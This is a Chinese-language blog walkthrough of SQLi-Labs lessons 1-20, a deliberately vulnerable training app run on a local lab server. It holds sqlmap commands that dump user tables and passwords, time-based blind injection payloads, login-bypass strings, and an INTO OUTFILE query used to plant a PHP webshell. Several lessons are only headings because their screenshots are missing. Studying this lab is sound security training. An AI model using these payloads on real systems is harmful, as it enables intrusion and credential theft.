您的位置:首页 > 数据库

当黑客就入门 SQLi-Labs 1-20 详细攻略

2019-07-15 21:37 260 查看
版权声明:本文为博主原创文章,遵循 CC 4.0 by-sa 版权协议,转载请附上原文出处链接和本声明。 本文链接:https://blog.csdn.net/weixin_41771371/article/details/96024689

准备工作:
安装phpstudy,在WWW里放入sqli-Lab的源码
配置源码中的sql账号和密码,将其与数据库MySQL连接起来
安装burpsuit的环境Java
进入源码 添加部分内容便于辅助做实验:

本文将以Lab-1为例,详细讲述如何手工和利用工具来获取数据
Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)
1. 阅览php代码可知前20次所有实验的查询结构大致为:
SELECT * FROM users WHERE id=[ ] limit 0,1; (其中[ ]内容与提示有关)
2. 前19题均为在url上动手脚的GET型注入,故我们将在url后缀做“手脚”:
判断是否为注入点:

http://172.26.45.178/sqllab/Less-1/?id=1  #创建登录url

判断是字符型还是数值型,若是字符型,我们将试着猜出他所使用的结构
根据提示,我们在id=1后添加’,现象如下:

一般情况下到这里便可以使用SQLMAP跑数据库,手工注入则需要知道方框内的结构。常见的闭合结构可以参考附录一,新手可以根据题目的提示来写出题目的结构。
3. 手动注入方式:
第一步:判断输出的列数(此处使用orderby来判断)



第二步:使用联合查询,依次爆出库名,表名,列名,信息
Payload如下:




总结:手工注入较为繁琐,需掌握常见的闭合结构和查询语句。
4. 利用sqlmap注入:





对应命令:

sqlmap -u "http://172.26.45.178/sqllab/Less-1/?id=1" --current-db									#获取当前数据库名称
sqlmap -u "http://172.26.45.178/sqllab/
7ff7
Less-1/?id=1" -D "security" --tables							#列出指定数据库的表名
sqlmap -u "http://172.26.45.178/sqllab/Less-1/?id=1" -D "security" -T "users" --columns				#列出指定数据库对应的字段
sqlmap -u "http://172.26.45.178/sqllab/Less-1/?id=1" -D "security" -T "users" -C "username" --dump	#列出指定数据库对应表的指定字段username内容
sqlmap -u "http://172.26.45.178/sqllab/Less-1/?id=1" -D "security" -T "users" -C "password" --dump	#列出指定数据库对应表的指定字段password内容

以上为利用sqlmap获取我们想要信息的步骤,推荐的sqlmap和Linux环境安装
Less-2 GET - Error based - Intiger based (基于错误的GET数字型注入)



注入漏洞利用方法同Less-1,如无特殊情况将不做过多赘述。
Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)


显然存在注入漏洞,注入漏洞利用方法同Less-1。

Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)


显然存在注入漏洞,注入漏洞利用方法同Less-1。

Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)




找出其闭合结构,经尝试其存在注入漏洞,利用自动化工具sqlmap方法同less-1
查找网上的手工注入方法:

?id=1' and if(length(database())=8,sleep(5),1)--+
?id=1' and if(left(database(),1)='s',sleep(5),1)--+
?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

手工注入的方式枉费工夫,对于此类无输出的情况,在判断有注入漏洞,应优先使用sqlmap。

Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)
Payload:?id=1” --+




显然存在注入漏洞,注入漏洞利用方法同Less-5。

Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)
通过添加’报错判断存在注入漏洞,经测试可以找出这题的闭合结构



按照提示,这题有到处文件漏洞,通过导出可以写入小马。
若出现无法写入情况,首先进入phpmyadmin中到相应表中进行测试,测试语句为
select * from users WHERE id=((‘a’)) union select 1,2,‘11111’ into outfile ‘D://phpStudy//WWW//1.php’#’)) LIMIT 0,1;其中存放的目录因人而异,特别地,需要使用双斜杠来进行转义。若不能执行则需要更改my.ini的内容,无secure-file-priv=””则需要在末尾添加


注入漏洞利用方法同Less-1,亦可以在导出小马后,使用C刀进行连接。

Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)
注入漏洞利用方法同Less-1。
Payload:?id=1’ --+



Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)
Payload:?id=1’and sleep(10) --+


显然存在注入漏洞,注入漏洞利用方法同Less-5。

Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)
Payload:?id=1”and sleep(10)


显然存在注入漏洞,注入漏洞利用方法同Less-5。

Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)
此题为POST型,可以使用firefox或者burpsuit来验证漏洞的存在
使用Burpsuit抓包,可以看到包中的内容,猜测他的闭合结构,经测试其
Payload:
1.uname=admin’ and 1=1 --+ &passwd=admin&submit=Submit #能登陆
2.uname=admin’ and 1=2 --+ &passwd=admin&submit=Submit #不能登陆




自动化注入漏洞利用方法与Less-5略有区别,使用sqlmap的第二个用法


Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)
Payload如下



现象显示存在注入漏洞,注入漏洞利用方法同Less-11。
Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)
Payload如下:
报错型



时间型


现象显示存在注入漏洞,注入漏洞利用方法同Less-11。

Less-14 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)
报错型Payload:



时间型Payload:


聚合型Payload


现象显示存在注入漏洞,注入漏洞利用方法同Less-11。

less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)



现象显示存在注入漏洞,注入漏洞利用方法同Less-11。

Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)



此处万能密码Admin”)#也可以绕过
现象显示存在注入漏洞,注入漏洞利用方法同Less-11。

Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)



现象显示存在注入漏洞,注入漏洞利用方法同Less-11。
Less-18 POST - Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)


现象显示存在注入漏洞,注入漏洞利用方法同Less-11。

Less-19 POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)



现象显示存在注入漏洞,注入漏洞利用方法同Less-11。

Less-20 POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)




附录一常见的闭合方式
SELECT * FROM users WHERE id=1;
SELECT * FROM users WHERE id=’1’;
SELECT * FROM users WHERE id=”1”;
SELECT * FROM users WHERE id=(1);
SELECT * FROM users WHERE id=(‘1’);
SELECT * FROM users WHERE id=(”1”);
SELECT * FROM users WHERE id=((“1” ));
SELECT * FROM users WHERE id=(“1”);

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: